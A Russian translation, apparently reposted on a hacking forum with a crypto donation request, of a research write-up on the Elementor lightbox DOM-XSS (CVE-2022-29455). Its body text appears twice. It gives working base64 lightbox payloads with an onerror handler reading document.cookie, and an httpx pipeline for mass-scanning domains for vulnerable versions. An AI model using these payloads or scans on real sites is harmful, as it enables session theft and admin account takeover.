ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Объявление CVE-2022-29455
Действия, которые вы должны предпринять, если у вас установлен Elementor :
Просканируйте свой сайт с помощью этого плагина для ядер
Проверьте свой сайт здесь - Elementor XSS Tester
При поиске известных ошибок в Elementor мы обнаружили интересную ошибку ( CVE-2021-24891 ), возникшую в прошлом, которая использует DOM-XSS для атаки на пользователя, вошедшего в систему.
Поскольку у нас уже есть некоторые познания в Javascript и в прошлом мы вместе веселились с DOM-XSS, мы решили углубиться в этот CVE.
В CVE-2021-24891 исследователь Джоэл обнаружил, что внедрение полезной нагрузки в настройки лайтбокса позволяло внедрить произвольный javascript на веб-сайт, на котором используется плагин, подробнее см. здесь — jbelamor.com/xss- elementor-lightox.html
Анализ уязвимости Джоэла / исследователь уязвимостей прим.пер./ показал нам, что полезная нагрузка использовала полезную нагрузку настроек лайтбокса в Elementor, чтобы принудительно отображать модуль лайтбокса и задавать ему пользовательские настройки в полезной нагрузке base64:
Base64, расшифровывая полезную нагрузку настроек, возвращает нам следующий json, который показывает, что атака пытается установить тип «null» и установить параметр html, который внедряет необработанный небезопасный html-код на страницу:
Попытка воспроизвести исходную полезную нагрузку на веб-сайте (у которого была актуальная версия) не сработала, но при чтении кода мы поняли, что есть разные значения, которые можно поместить в показанный параметр «тип». выше которого можно исследовать.
Первоначальная проблема возникла, когда параметр «тип» не был перехвачен в коде случая переключения, и, как вы можете видеть в коде, он устанавливает html, полученный от пользователя.
К сожалению, исправление для уязвимости было на месте, и javascript удаляет параметр «html» перед передачей его уязвимой функции, как показано ниже.
Сначала небольшое заявление об отказе от ответственности, все скриншоты и наше исследование было проведено на обфусцированном коде внутри браузера, позже мы узнали, что код с открытым исходным кодом и может быть намного легче читать, но в учебных целях мы публикуем исследование как есть. запутанный код, который будет лучше имитировать ваши будущие оценки.
Возвращаясь, мы рассмотрели различные параметры «типа», которые принимает модуль лайтбокса: изображения , видео и слайд
«Изображение» мало что делает, поэтому мы его пропустили и решили продолжить с параметром «видео»:
Первое препятствие:
При использовании параметра "video" требуется также параметр "url", есть проверка, что параметр "url" должен начинаться с "http" (мое предположение, что в прошлом у него его не было и кто-то вставил "javascript://" или что-то подобное).
Разбор функции"video" приводит к интересным открытиям. Функция использует JQuery (переменная t) для установки параметров видео, которые поступают из параметра под названием "videoParams":
Как вы можете видеть в коде, чтобы достичь состояния использования переменной jQuery (t), нам нужно добавить еще один параметр с именем «videoType». Когда «videoType» равен «hosted», функция создает новый объект, который строится динамически и получает параметры «src» и «autoplay», но может быть переопределен «videoParams».
Поскольку «videoParams контролируется пользователем, мы можем добавить любой параметр к объекту видео.
Создание новой полезной нагрузки для проверки этого:
который при кодировании в base64 выглядит как
Полезная нагрузка успешно добавила новый параметр стиля, который отображается в видео:
Просматривая атрибуты, которые могут принимать, мы обнаружили, что «onerror» также разрешен и принимает javascript, поэтому быстрое создание новой полезной нагрузки с параметром «onerror» дало нам полный эксплойт
Если вы хотите заглянуть в код, вы можете увидеть точную область, которая уязвима: github.com/elementor/elementor/blob/release..
Наш целевой веб-сайт уязвим, но можем ли мы найти больше?
К счастью для нас, у нас есть списки многих доменов и поддоменов, которые мы можем сканировать в поисках технологии. Быстрый поиск плагина начал выдавать нам уязвимые сайты:
Когда эта уязвимость была обнаружена, она затронула более 6,5 миллионов веб-сайтов по всему миру. Каждый веб-сайт на основе Elementor, доступный в Интернете, был затронут, если он был размещен на Elementor или размещен самостоятельно.
Что касается влияния на безопасность, злоумышленник может сделать следующее:
Мы смогли создать POC для захвата учетной записи, который при нажатии создавал нового пользователя, если администратор вошел в свою учетную запись WordPress.
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Объявление CVE-2022-29455
Действия, которые вы должны предпринять, если у вас установлен Elementor :
Просканируйте свой сайт с помощью этого плагина для ядер
Код:
wget https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/3581482df1bfe1aef4e7fff96e183f9ef0e5bf13/cves/2022/CVE-2022-29455.yaml
nuclei -t ./CVE-2022-29455.yaml -u https://...
Проверьте свой сайт здесь - Elementor XSS Tester
При поиске известных ошибок в Elementor мы обнаружили интересную ошибку ( CVE-2021-24891 ), возникшую в прошлом, которая использует DOM-XSS для атаки на пользователя, вошедшего в систему.
Поскольку у нас уже есть некоторые познания в Javascript и в прошлом мы вместе веселились с DOM-XSS, мы решили углубиться в этот CVE.
В CVE-2021-24891 исследователь Джоэл обнаружил, что внедрение полезной нагрузки в настройки лайтбокса позволяло внедрить произвольный javascript на веб-сайт, на котором используется плагин, подробнее см. здесь — jbelamor.com/xss- elementor-lightox.html
Анализ уязвимости Джоэла / исследователь уязвимостей прим.пер./ показал нам, что полезная нагрузка использовала полезную нагрузку настроек лайтбокса в Elementor, чтобы принудительно отображать модуль лайтбокса и задавать ему пользовательские настройки в полезной нагрузке base64:
Код:
#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9
Base64, расшифровывая полезную нагрузку настроек, возвращает нам следующий json, который показывает, что атака пытается установить тип «null» и установить параметр html, который внедряет необработанный небезопасный html-код на страницу:
Код:
{"type":"null","html":"<script>alert('xss')</script>"}
Вернемся к нашей истории:
Попытка воспроизвести исходную полезную нагрузку на веб-сайте (у которого была актуальная версия) не сработала, но при чтении кода мы поняли, что есть разные значения, которые можно поместить в показанный параметр «тип». выше которого можно исследовать.
Первоначальная проблема возникла, когда параметр «тип» не был перехвачен в коде случая переключения, и, как вы можете видеть в коде, он устанавливает html, полученный от пользователя.
К сожалению, исправление для уязвимости было на месте, и javascript удаляет параметр «html» перед передачей его уязвимой функции, как показано ниже.
Но мы продолжим
Сначала небольшое заявление об отказе от ответственности, все скриншоты и наше исследование было проведено на обфусцированном коде внутри браузера, позже мы узнали, что код с открытым исходным кодом и может быть намного легче читать, но в учебных целях мы публикуем исследование как есть. запутанный код, который будет лучше имитировать ваши будущие оценки.
Возвращаясь, мы рассмотрели различные параметры «типа», которые принимает модуль лайтбокса: изображения , видео и слайд
«Изображение» мало что делает, поэтому мы его пропустили и решили продолжить с параметром «видео»:
Первое препятствие:
При использовании параметра "video" требуется также параметр "url", есть проверка, что параметр "url" должен начинаться с "http" (мое предположение, что в прошлом у него его не было и кто-то вставил "javascript://" или что-то подобное).
Разбор функции"video" приводит к интересным открытиям. Функция использует JQuery (переменная t) для установки параметров видео, которые поступают из параметра под названием "videoParams":
Как вы можете видеть в коде, чтобы достичь состояния использования переменной jQuery (t), нам нужно добавить еще один параметр с именем «videoType». Когда «videoType» равен «hosted», функция создает новый объект, который строится динамически и получает параметры «src» и «autoplay», но может быть переопределен «videoParams».
Поскольку «videoParams контролируется пользователем, мы можем добавить любой параметр к объекту видео.
Создание новой полезной нагрузки для проверки этого:
Код:
{
"type": "video",
"url": "http://",
"videoType": "hosted",
"videoParams": {
"style": "background-color:red"
}
}
Код:
eyJ0eXBlIjoidmlkZW8iLCJodG1sIjoieCIsInVybCI6Imh0dHA6Ly8iLCJ2aWRlb1R5cGUiOiJob3N0ZWQiLCJ2aWRlb1BhcmFtcyI6eyJzdHlsZSI6ImJhY2tncm91bmQtY29sb3I6cmVkIn19
Полезная нагрузка успешно добавила новый параметр стиля, который отображается в видео:
Просматривая атрибуты, которые могут принимать, мы обнаружили, что «onerror» также разрешен и принимает javascript, поэтому быстрое создание новой полезной нагрузки с параметром «onerror» дало нам полный эксплойт
Код:
{
"type": "video",
"url": "http://",
"videoType": "hosted",
"videoParams": {
"onerror":"alert(document.domain+' '+document.cookie)",
"style": "background-color:red"
}
}
Код:
ewogICAgInR5cGUiOiAidmlkZW8iLAogICAgInV
ybCI6ICJodHRwOi8vIiwKICAgICJ2aWRlb1R5cG
UiOiAiaG9zdGVkIiwKICAgICJ2aWRlb1BhcmFtc
yI6IHsKICAgICAgICAib25lcnJvciI6ImFsZXJ0
KGRvY3VtZW50LmRvbWFpbisnICcrZG9jdW1lbnQ
uY29va2llKSIsCiAgICAgICAgInN0eWxlIjogIm
JhY2tncm91bmQtY29sb3I6cmVkIgogICAgfQp9
Если вы хотите заглянуть в код, вы можете увидеть точную область, которая уязвима: github.com/elementor/elementor/blob/release..
Наш целевой веб-сайт уязвим, но можем ли мы найти больше?
Elementor — это мегатехнология, так как она используется как минимум на 6 441 433 веб-сайтах в Интернете. - Встроенный с
К счастью для нас, у нас есть списки многих доменов и поддоменов, которые мы можем сканировать в поисках технологии. Быстрый поиск плагина начал выдавать нам уязвимые сайты:
Код:
cat list.txt | \
cut -d"/" -f3 | awk 'NF{print $0 "/wp-content/plugins/elementor/assets/js/frontend.min.js"}' | \
httpx -nc -fr -ms "elementor" -er "elementor - v[^\s]*"
Когда эта уязвимость была обнаружена, она затронула более 6,5 миллионов веб-сайтов по всему миру. Каждый веб-сайт на основе Elementor, доступный в Интернете, был затронут, если он был размещен на Elementor или размещен самостоятельно.
Что касается влияния на безопасность, злоумышленник может сделать следующее:
- Эксфильтрация файлов cookie из уязвимых источников с использованием уязвимости межсайтового скриптинга, которая в определенных сценариях может даже привести к захвату учетных записей.
- Выполнение JavaScript от имени жертвы
- Обход SOAP
- Обход CORS
- Порча
POC||GTFO
Мы смогли создать POC для захвата учетной записи, который при нажатии создавал нового пользователя, если администратор вошел в свою учетную запись WordPress.